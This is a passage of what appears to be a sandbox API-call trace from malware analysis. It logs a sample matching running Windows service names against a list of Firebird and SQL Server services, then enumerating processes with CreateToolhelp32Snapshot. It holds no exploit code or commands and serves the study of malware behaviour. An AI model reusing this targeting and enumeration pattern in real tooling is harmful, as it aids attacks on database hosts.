	[0061.623] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0061.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0061.623] lstrlenW (lpString="gpsvc") returned 5
	[0061.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0061.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0061.623] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0061.623] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0061.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0061.623] lstrlenW (lpString="iphlpsvc") returned 8
	[0061.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0061.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0061.623] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0061.623] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0061.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0061.623] lstrlenW (lpString="KeyIso") returned 6
	[0061.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0061.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0061.623] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0061.623] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0061.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0061.623] lstrlenW (lpString="LanmanServer") returned 12
	[0061.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0061.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0061.623] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0061.623] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0061.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0061.623] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0061.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0061.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0061.623] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0061.623] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0061.623] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0061.623] lstrlenW (lpString="lfsvc") returned 5
	[0061.623] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0061.623] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0061.623] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0061.623] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0061.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0061.624] lstrlenW (lpString="lmhosts") returned 7
	[0061.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0061.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0061.624] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0061.624] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0061.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0061.624] lstrlenW (lpString="LSM") returned 3
	[0061.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0061.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0061.624] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0061.624] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0061.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0061.624] lstrlenW (lpString="MapsBroker") returned 10
	[0061.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0061.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0061.624] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0061.624] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0061.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0061.624] lstrlenW (lpString="MpsSvc") returned 6
	[0061.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0061.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0061.624] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0061.624] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0061.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0061.624] lstrlenW (lpString="NcbService") returned 10
	[0061.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0061.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0061.624] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0061.624] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0061.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0061.624] lstrlenW (lpString="netprofm") returned 8
	[0061.624] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0061.624] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0061.624] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0061.624] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0061.624] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0061.624] lstrlenW (lpString="NlaSvc") returned 6
	[0061.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0061.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0061.625] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0061.625] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0061.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0061.625] lstrlenW (lpString="nsi") returned 3
	[0061.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0061.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0061.625] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0061.625] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0061.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0061.625] lstrlenW (lpString="PcaSvc") returned 6
	[0061.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0061.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0061.625] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0061.625] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0061.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0061.625] lstrlenW (lpString="PlugPlay") returned 8
	[0061.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0061.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0061.625] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0061.625] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0061.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0061.625] lstrlenW (lpString="Power") returned 5
	[0061.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0061.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0061.625] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0061.625] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0061.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0061.625] lstrlenW (lpString="ProfSvc") returned 7
	[0061.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0061.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0061.625] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0061.625] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0061.625] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0061.625] lstrlenW (lpString="RpcEptMapper") returned 12
	[0061.625] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0061.625] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0061.626] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0061.626] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0061.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0061.626] lstrlenW (lpString="RpcSs") returned 5
	[0061.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0061.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0061.626] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0061.626] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0061.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0061.626] lstrlenW (lpString="SamSs") returned 5
	[0061.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0061.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0061.626] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0061.626] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0061.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0061.626] lstrlenW (lpString="Schedule") returned 8
	[0061.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0061.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0061.626] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0061.626] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0061.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0061.626] lstrlenW (lpString="SecurityHealthService") returned 21
	[0061.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0061.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0061.626] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0061.626] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0061.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0061.626] lstrlenW (lpString="SENS") returned 4
	[0061.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0061.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0061.626] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0061.626] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0061.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0061.626] lstrlenW (lpString="ShellHWDetection") returned 16
	[0061.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0061.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0061.626] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0061.626] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0061.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0061.627] lstrlenW (lpString="Spooler") returned 7
	[0061.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0061.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0061.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0061.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0061.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0061.627] lstrlenW (lpString="SSDPSRV") returned 7
	[0061.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0061.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0061.627] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0061.627] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0061.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0061.627] lstrlenW (lpString="StateRepository") returned 15
	[0061.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0061.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0061.627] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0061.627] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0061.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0061.627] lstrlenW (lpString="SysMain") returned 7
	[0061.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0061.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0061.627] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0061.627] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0061.627] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3bfae80 | out: hHeap=0x650000) returned 1
	[0061.627] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2d0
	[0061.630] Process32FirstW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0061.631] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0061.634] lstrlenW (lpString="System") returned 6
	[0061.634] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0061.635] lstrlenW (lpString="smss.exe") returned 8
	[0061.635] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0061.635] lstrlenW (lpString="csrss.exe") returned 9
	[0061.635] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0061.636] lstrlenW (lpString="wininit.exe") returned 11
	[0061.636] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0061.637] lstrlenW (lpString="csrss.exe") returned 9
	[0061.637] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0061.637] lstrlenW (lpString="winlogon.exe") returned 12
	[0061.637] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0061.638] lstrlenW (lpString="services.exe") returned 12
	[0061.638] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0061.639] lstrlenW (lpString="lsass.exe") returned 9
	[0061.639] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.640] lstrlenW (lpString="svchost.exe") returned 11
	[0061.640] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0061.640] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0061.640] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0061.641] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0061.641] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.642] lstrlenW (lpString="svchost.exe") returned 11
	[0061.642] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0061.642] lstrlenW (lpString="dwm.exe") returned 7
	[0061.643] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.643] lstrlenW (lpString="svchost.exe") returned 11
	[0061.643] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.644] lstrlenW (lpString="svchost.exe") returned 11
	[0061.644] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.645] lstrlenW (lpString="svchost.exe") returned 11
	[0061.645] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.645] lstrlenW (lpString="svchost.exe") returned 11
	[0061.645] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.646] lstrlenW (lpString="svchost.exe") returned 11
	[0061.646] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.647] lstrlenW (lpString="svchost.exe") returned 11
	[0061.647] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.648] lstrlenW (lpString="svchost.exe") returned 11
	[0061.648] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.648] lstrlenW (lpString="svchost.exe") returned 11
	[0061.648] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.649] lstrlenW (lpString="svchost.exe") returned 11
	[0061.649] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0061.650] lstrlenW (lpString="spoolsv.exe") returned 11
	[0061.650] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.650] lstrlenW (lpString="svchost.exe") returned 11
	[0061.650] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.651] lstrlenW (lpString="svchost.exe") returned 11
	[0061.651] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0061.652] lstrlenW (lpString="audiodg.exe") returned 11
	[0061.652] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0061.653] lstrlenW (lpString="sihost.exe") returned 10
	[0061.653] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0061.653] lstrlenW (lpString="svchost.exe") returned 11
	[0061.653] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0061.654] lstrlenW (lpString="taskhostw.exe") returned 13
	[0061.654] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0061.655] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0061.655] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0061.655] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0061.655] Process32NextW (in: hSnapshot=0x2d0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0061.656] lstrlenW (lpString="explorer.exe") returned 12
